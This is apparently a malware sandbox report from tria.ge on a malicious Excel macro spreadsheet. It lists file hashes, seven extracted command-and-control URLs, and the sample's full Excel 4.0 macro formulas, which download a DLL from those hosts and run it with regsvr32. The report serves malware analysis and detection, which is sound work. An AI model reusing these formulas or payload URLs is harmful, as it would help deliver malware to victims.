Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    dd4e2efe06c8ba854357ecaad3dddbd69d5759bb47c7195151bb316d7e9663fb

  • Size

    33KB

  • MD5

    19721b79be73cadb460017d966980f4b

  • SHA1

    fe3863292ca63fdc2fbb59465c498b4433ab4f73

  • SHA256

    dd4e2efe06c8ba854357ecaad3dddbd69d5759bb47c7195151bb316d7e9663fb

  • SHA512

    2b37d2d77693a8030a89856113fe3dc41da93f9d547b3d575e398c5e97556dee3f90c324d3c05d14cd7debc509bab7e66602e8ae3286e8d3c6f181a8df6bf0ca

  • SSDEEP

    768:4jFhNKbeXizXT2LxdFfPdkqstJ1goE6vS:4BTGeXgXUndkqegoE6vS

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

https://al-brik.com/vb-w/U/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • dd4e2efe06c8ba854357ecaad3dddbd69d5759bb47c7195151bb316d7e9663fb
    .xlsm office2007